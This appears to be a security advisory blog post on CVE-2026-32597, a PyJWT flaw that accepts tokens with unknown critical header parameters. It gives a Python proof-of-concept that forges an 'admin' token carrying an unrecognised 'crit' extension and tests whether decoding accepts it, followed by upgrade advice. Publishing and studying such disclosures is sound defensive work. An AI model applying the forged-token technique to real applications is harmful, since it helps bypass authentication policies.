PyJWT Critical Header Validation Bypass  – Authentication Bypass PoC

PyJWT Critical Header Validation Bypass – Authentication Bypass PoC

⚠ CVE CVE-2026-32597
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Content *

Overview

A security vulnerability tracked as CVE-2026-32597 has been discovered in PyJWT.

The issue arises because vulnerable versions of the library do not properly validate unknown critical (crit) header parameters inside JSON Web Tokens (JWT). According to the JWT specification, tokens containing unknown critical extensions must be rejected. However, vulnerable versions of PyJWT incorrectly accept such tokens.

This behavior may allow attackers to bypass certain security policies implemented by applications relying on strict JWT validation.

The vulnerability affects:

  • PyJWT versions earlier than 2.12.0

Technical Details

JWT supports a crit header parameter that indicates critical extensions which must be understood by the application processing the token.

If a token includes a critical header parameter that the library or application does not recognize, it must reject the token according to the specification.

However, vulnerable versions of PyJWT fail to enforce this requirement and instead process the token normally, allowing attackers to include unvalidated policy fields.

This flaw is associated with the following weakness classifications:

  • CWE-345
  • CWE-863

Affected Software

Vendor: PyJWT Open Source Project
Software: PyJWT

Affected versions:

  • PyJWT < 2.12.0

Fixed in:

  • PyJWT 2.12.0

Proof of Concept (PoC)

The following proof-of-concept script generates a malicious JWT token containing an unknown critical extension parameter.

In vulnerable versions of PyJWT, this token will still be accepted during decoding.

!/usr/bin/env python3
# Exploit Title: PyJWT < 2.12.0 crit header bypass / Insufficient crit validation
# CVE: CVE-2026-32597
# Date: 2026-03
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/jpadilla/pyjwt
# Software Link: https://pypi.org/project/PyJWT/
#   Affected: PyJWT < 2.12.0
# Tested on: 
# Category: Authentication Bypass
# Platform: Python
# Exploit Type: Proof of Concept
# CVSS: 7.5
# CWE : CWE-345, CWE-863
# Description: PyJWT does not reject JWTs containing unknown critical header parameters (crit)
# Fixed in: PyJWT 2.12.0
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Notes: Demonstrates acceptance of token with unknown critical extension

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║      ▄▄▄▄·  ▄▄▄ . ▄▄ • ▄▄▄▄▄      ▄▄▄   ▄▄▄·  ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄  ▄• ▄▌                  ║
║      ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██  ▪     ▀▄ █·▐█ ▀█ ▐█ ▄█•██  ▀▀▄.▀·▀▄ █·█▪██▌                  ║
║      ▐█▀▀█▄▐▀▀▪▄▄█ ▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█  ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█·                  ║
║      ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌                  ║
║      ·▀▀▀▀  ▀▀▀ ·▀▀▀▀  ▀▀▀  ▀█▄▀▪.▀  ▀ ▀  ▀ .▀    ▀▀▀  ▀▀▀ .▀  ▀ ▀▀▀                   ║
║                                                                                            ║
║                          b a n y a m e r _ s e c u r i t y                             ║
║                                                                                            ║
║                     >>> Silent Hunter • Shadow Presence <<<                               ║
║                                                                                            ║
║           Operator : Mohammed Idrees Banyamer                Jordan 🇯🇴                 ║
║                  Handle   : @banyamer_security                                             ║
║                                                                                            ║
║                   CVE-2026-32597 • PyJWT crit header bypass                               ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import jwt
import hmac
import hashlib
import base64
import json

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    encoded = base64.urlsafe_b64encode(data).rstrip(b'=')
    return encoded.decode('utf-8')

header = {
    "alg": "HS256",
    "crit": ["x-custom-policy"],
    "x-custom-policy": "require-mfa-and-binding"
}

payload = {
    "sub": "attacker",
    "role": "admin",
    "exp": 9999999999
}

secret = b"secret-key"

header_str = json.dumps(header, separators=(',', ':'))
payload_str = json.dumps(payload, separators=(',', ':'))

h = b64url_encode(header_str)
p = b64url_encode(payload_str)

signing_input = f"{h}.{p}".encode('utf-8')
signature = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig = b64url_encode(signature)

malicious_token = f"{h}.{p}.{sig}"

print("Generated malicious token:")
print(malicious_token)
print("\n")

print("Decoding with PyJWT (vulnerable versions accept this token):")

try:
    decoded = jwt.decode(
        malicious_token,
        secret,
        algorithms=["HS256"],
        options={"verify_signature": True}
    )
    print("TOKEN ACCEPTED (vulnerable behavior):")
    print(decoded)
except jwt.exceptions.InvalidTokenError as e:
    print("TOKEN REJECTED (correct / patched behavior):")
    print(e)
except Exception as e:
    print("Unexpected error:")
    print(e)

How the Exploit Works

The exploit constructs a JWT token with the following characteristics:

  • Algorithm: HS256
  • A crit header containing a custom extension
  • A custom policy field (x-custom-policy) not recognized by PyJWT

Example malicious header:

{
 "alg": "HS256",
 "crit": ["x-custom-policy"],
 "x-custom-policy": "require-mfa-and-binding"
}

In vulnerable versions of PyJWT, the library does not reject this unknown critical extension, allowing the token to be processed normally.


Usage

Run the proof-of-concept script:

python3 exploit.py

The script will:

  1. Generate a malicious JWT token
  2. Attempt to decode it using PyJWT
  3. Demonstrate whether the token is accepted or rejected

---

Mitigation

Users should upgrade to the patched version:

  • PyJWT 2.12.0 or later

Security best practices also include:

  • Strict validation of JWT headers
  • Avoiding trust in unrecognized critical extensions
  • Enforcing strict security policies for token processing

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

Instagram: @banyamer_security
GitHub: https://github.com/mbanyamer


Disclaimer

This proof-of-concept is intended for educational purposes and authorized security testing only. Unauthorized use against systems without permission is illegal.


✅ This format works perfectly for:

  • Exploit database submissions
  • Security research blogs
  • CVE write-ups
  • GitHub security advisories
  • Bug bounty portfolio

Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.